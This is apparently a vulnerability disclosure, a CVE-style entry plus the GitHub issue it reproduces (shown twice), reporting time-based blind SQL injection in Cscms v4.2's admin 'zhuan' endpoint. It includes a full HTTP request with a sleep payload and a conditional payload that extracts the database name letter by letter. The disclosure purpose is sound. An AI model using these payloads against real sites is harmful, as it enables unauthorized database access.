Cscms Music Portal System v4.2 was discovered to contain a SQL injection vulnerability via the component dance_Lists.php_zhuan.
cpe:2.3:a:chshcms:cscms:4.2:*:*:*:*:*:*:*
1865339A-4927-439D-9D16-D38C8330CB92
OR
#### SQL injection vulnerability exists in Cscms music portal system v4.2 （dance_Lists.php_zhuan）

#### Details
After the administrator logs in, the following data package is constructed
```
POST /admin.php/dance/admin/lists/zhuan HTTP/1.1
Host: cscms.test
Content-Length: 23
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/dance/admin/lists?v=7131
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=n9lv1ptm53932qcefgtfamknehtiv096;XDEBUG_SESSION=PHPSTORM
Connection: close

id[]=(sleep(5))&cid=5
```
The payload executes and sleeps for 5 seconds

![image](https://user-images.githubusercontent.com/96719328/158503972-801f3a77-f778-41d0-9ebf-b98cc4972328.png)

construct payload 

`(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)`

![image](https://user-images.githubusercontent.com/96719328/158504160-bea6fad8-c26a-4f96-b5cd-e3fd7c7c85b8.png)

![image](https://user-images.githubusercontent.com/96719328/158504186-d56d4478-6b3f-4ffc-b9e6-3d7bba613180.png)

Because the first letter of the background database name is "c", it sleeps for 5 seconds

Vulnerability source code

![image](https://user-images.githubusercontent.com/96719328/158504239-67d0c13d-a417-49d5-a620-4f725f8e4762.png)



SQL injection vulnerability exists in Cscms music portal system v4.2
This is a GitHub Issue
repo:cscms
owner:chshcms
Title : SQL injection vulnerability exists in Cscms music portal system v4.2
Issue date:

--- start body ---
#### SQL injection vulnerability exists in Cscms music portal system v4.2 （dance_Lists.php_zhuan）

#### Details
After the administrator logs in, the following data package is constructed
```
POST /admin.php/dance/admin/lists/zhuan HTTP/1.1
Host: cscms.test
Content-Length: 23
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/dance/admin/lists?v=7131
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=n9lv1ptm53932qcefgtfamknehtiv096;XDEBUG_SESSION=PHPSTORM
Connection: close

id[]=(sleep(5))&cid=5
```
The payload executes and sleeps for 5 seconds

![image](https://user-images.githubusercontent.com/96719328/158503972-801f3a77-f778-41d0-9ebf-b98cc4972328.png)

construct payload 

`(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)`

![image](https://user-images.githubusercontent.com/96719328/158504160-bea6fad8-c26a-4f96-b5cd-e3fd7c7c85b8.png)

![image](https://user-images.githubusercontent.com/96719328/158504186-d56d4478-6b3f-4ffc-b9e6-3d7bba613180.png)

Because the first letter of the background database name is "c", it sleeps for 5 seconds

Vulnerability source code

![image](https://user-images.githubusercontent.com/96719328/158504239-67d0c13d-a417-49d5-a620-4f725f8e4762.png)



--- end body ---

comments :
--- start comments ---

--- end comments ---